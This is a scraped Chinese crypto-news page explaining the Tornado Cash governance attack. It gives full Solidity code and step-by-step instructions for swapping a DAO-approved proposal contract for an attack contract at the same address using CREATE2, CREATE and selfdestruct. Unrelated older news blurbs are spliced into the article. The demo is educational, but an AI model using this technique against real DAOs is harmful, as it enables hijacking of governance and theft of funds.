比特幣交易所 比特幣交易所
Ctrl+D 比特幣交易所
ads
首頁 > FIL > Info

解析Tornado治理攻擊:如何同一個地址上部署不同的合約_PRO

Author:

Time:1900/1/1 0:00:00

大概兩周前(5 月 20 日),知名混幣協議 Tornado Cash 遭受到治理攻擊,黑客獲取到了Tornado Cash的治理合約的控制權(Owner)。

攻擊過程是這樣的:攻擊者先提交了一個“看起來正常”的提案, 待提案通過之后, 銷毀了提案要執行的合約地址, 并在該地址上重新創建了一個攻擊合約。

攻擊過程可以查看 SharkTeam 的  Tornado.Cash提案攻擊原理分析。

這里攻擊的關鍵是在同一個地址上部署了不同的合約, 這是如何實現的呢?

EVM 中有兩個操作碼用來創建合約:CREATE 與 CREATE2 。

當使用 new Token() 使用的是  CREATE 操作碼 , 創建的合約地址計算函數為:

address tokenAddr = bytes20(keccak256(senderAddress, nonce))創建的合約地址是通過創建者地址 + 創建者Nonce(創建合約的數量)來確定的, 由于 Nonce 總是逐步遞增的, 當 Nonce 增加時,創建的合約地址總是是不同的。

當添加一個salt時 new Token{salt: bytes32(。() ,則使用的是  CREATE2 操作碼 , 創建的合約地址計算函數為:

浪潮集團王偉兵:標識解析、標識密碼、區塊鏈是構建工業區塊鏈三個技術要素:金色財經現場報道,12月5日,2020世界區塊鏈大會于武漢舉辦,會上浪潮集團區塊鏈技術研究院首席架構師王偉兵演講表示,消費互聯網是實現人和人的連接的,工業互聯網從技術上看更偏重物,工業互聯網數量多,管理難度大,面向物的標識解析和密碼學適合應用。標識解析的本質是提供名稱映射的分布式數據庫,構建工業區塊鏈的三個技術要素是標識解析、標識密碼、區塊鏈。標識解析需要目錄服務、數據共享,標識密碼主要做設備身份認證、設備寫入鏈,區塊鏈則增強安全,完成可信交易。[2020/12/5 14:06:24]

address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))創建的合約地址是 創建者地址 + 自定義的鹽 + 要部署的智能合約的字節碼, 因此 只有相同字節碼 和 使用相同的鹽值,才可以部署到同一個合約地址上。

那么如何才能在同一地址如何部署不用的合約?

攻擊者結合使用 Create2 和 Create 來創建合約, 如圖:

代碼參考自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/

直播|YOYO >普通人的財富密碼全球經紀人解析:金色財經 · 直播主辦的《 幣圈 “后浪” 仙女直播周》第10期,本期由58COIN TOP天團組成,20:00正在直播中,本期“后浪”仙女58TOP女團超模擔當 YOYO將在直播間分享“普通人的財富密碼全球經紀人解析”,請掃碼移步收聽![2020/7/29]

先用 Create2 部署一個合約 Deployer , 在 Deployer 使用 Create 創建目標合約 Proposal(用于提案使用)。 Deployer 和  Proposal 合約中均有自毀實現(selfdestruct)。

在提案通過后,攻擊者把  Deployer 和  Proposal 合約銷毀,然后重新用相同的slat創建 Deployer  ,  Deployer 字節碼不變,slat 也相同,因此會得到一個和之前相同的   Deployer  合約地址, 但此時   Deployer  合約的狀態被清空了, nonce 從 0 開始,因此可以使用該 nonce 創建另一個合約Attack。

此代碼來自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/

動態 | EOS疑似將推出基于EOS的HandShake DNS解析服務:EOS疑似將推出基于EOS 的 HandShake DNS解析服務,一位開發者的Github顯示正在開發EOS-handshake服務。Cosmos社區總監Chjango Unchained4月30日發推表示發現EOS開發者正在復用 Handshake 的開源代碼。EOS或許會加入域名解析服務,生態會進一步擴大。(IMEOS)[2019/4/30]

// SPDX-License-Identifier: MITpragma solidity ^0.8.17;contract DAO {    struct Proposal {        address target;        bool approved;        bool executed;    }    address public owner = msg.sender;    Proposal[] public proposals;    function approve(address target) external {        require(msg.sender == owner, "not authorized");        proposals.push(Proposal({target: target, approved: true, executed: false}));    }    function execute(uint256 proposalId) external payable {        Proposal storage proposal = proposals[proposalId];        require(proposal.approved, "not approved");        require(!proposal.executed, "executed");        proposal.executed = true;        (bool ok, ) = proposal.target.delegatecall(            abi.encodeWithSignature("executeProposal()")        );        require(ok, "delegatecall failed");    }}contract Proposal {    event Log(string message);    function executeProposal() external {        emit Log("Excuted code approved by DAO");    }    function emergencyStop() external {        selfdestruct(payable(address(0)));    }}contract Attack {    event Log(string message);    address public owner;    function executeProposal() external {        emit Log("Excuted code not approved by DAO :)");        // For example - set DAO's owner to attacker        owner = msg.sender;    }}contract DeployerDeployer {    event Log(address addr);    function deploy() external {        bytes32 salt = keccak256(abi.encode(uint(123)));        address addr = address(new Deployer{salt: salt}());        emit Log(addr);    }}contract Deployer {    event Log(address addr);    function deployProposal() external {        address addr = address(new Proposal());        emit Log(addr);    }    function deployAttack() external {        address addr = address(new Attack());        emit Log(addr);    }    function kill() external {        selfdestruct(payable(address(0)));    }}大家可以使用該代碼自己在 Remix 中演練一下。

動態 | 日本Catabira推出基于區塊鏈的數據解析平臺:據Prtimes消息,日本信息服務商Catabira宣布推出基于區塊鏈的商業服務級數據解析平臺Catabira Insights For Blockchain,將利用區塊鏈技術不可篡改的特性保證調查數據的真實性。[2018/11/8]

首先部署 DeployerDeployer , 調用 DeployerDeployer.deploy() 部署 Deployer , 然后調用   Deployer.deployProposal()  部署  Proposal 。

拿到 Proposal 提案合約地址后, 向  DAO 發起提案。

分別調用 Deployer.kill 和  Proposal.emergencyStop 銷毀掉 Deployer 和 Proposal

再次調用 DeployerDeployer.deploy() 部署 Deployer , 調用 Deployer.deployAttack() 部署  Attack ,    Attack  將和之前的   Proposal 一致。

執行 DAO.execute 時,攻擊完成 獲取到了 DAO 的 Owner 權限。

動態 | 浙江大學攜手劍橋大學發布區塊鏈生態深層解析報告:近期,浙江大學互聯網金融研究院攜手劍橋大學新興金融研究中心發布區塊鏈生態深層解析報告《Distributed Ledger Technology Systems-A Conceptual Framework》的中文版——《分布式賬本技術系統:一個概念框架》。浙大AIF副院長楊小虎指出,該報告不僅闡明了如何識別DLT系統,分析和比較現有的DLT系統,還通過六個實例為新系統設計提供有用的借鑒。[2018/8/17]

區塊律動BlockBeats

曼昆區塊鏈法律

Foresight News

GWEI Research

吳說區塊鏈

西柚yoga

ETH中文

金色早8點

金色財經 子木

ABCDE

0xAyA

Tags:NBSBSPPROSALnbs幣發行量BSPAY價格Lwazi ProjectPINKSALE

FIL
揭秘Nostr背后的神秘創建者 如何吸引1800萬用戶_STR

作者:Michael del Castillo,Forbes;編譯:松雪,金色財經威爾士軟件開發者本·阿克(Ben Arc)在2019年第一次遇到了Nostr的開發者@Fiatjaf.

1900/1/1 0:00:00
觀點:幣安訴訟案雖是“巨大錯誤” 但或長期利好美國加密行業_COIN

作者:Helene Braun,CoinDesk;編譯:松雪,金色財經如果其他國家允許加密行業發展并最終取代傳統銀行業.

1900/1/1 0:00:00
模因熱背后:一覽 memecoin 生態工具如何獲利_COI

Memecoin 一直是區塊鏈世界的一大熱點,吸引著眾多交易者的關注,一夕暴富的夢想、短期投機的心態驅使著很多人前仆后繼的涌入.

1900/1/1 0:00:00
香港打擊洗錢指引:涉及虛擬貨幣章節內容 如何判別相關洗錢 DeFi 格外警惕_虛擬資產

原文鏈接(第12章):https://www.sfc.hk/-/media/TC/assets/components/codes/files-current/zh-hant/guidelines.

1900/1/1 0:00:00
探討當前穩定幣市場前景_LUS

文章作者:rxndy444 編譯:Block unicorn加密貨幣的敘事波動起伏,但穩定幣作為鏈上金融基礎設施的核心組成部分,已經穩定地存在于市場之中.

1900/1/1 0:00:00
金色Web3.0日報 | 奔馳推出3個核心NFT系列_NFT

DeFi數據 1、DeFi代幣總市值:487.34億美元 DeFi總市值及前十代幣 數據來源:coingecko2、過去24小時去中心化交易所的交易量36.

1900/1/1 0:00:00
ads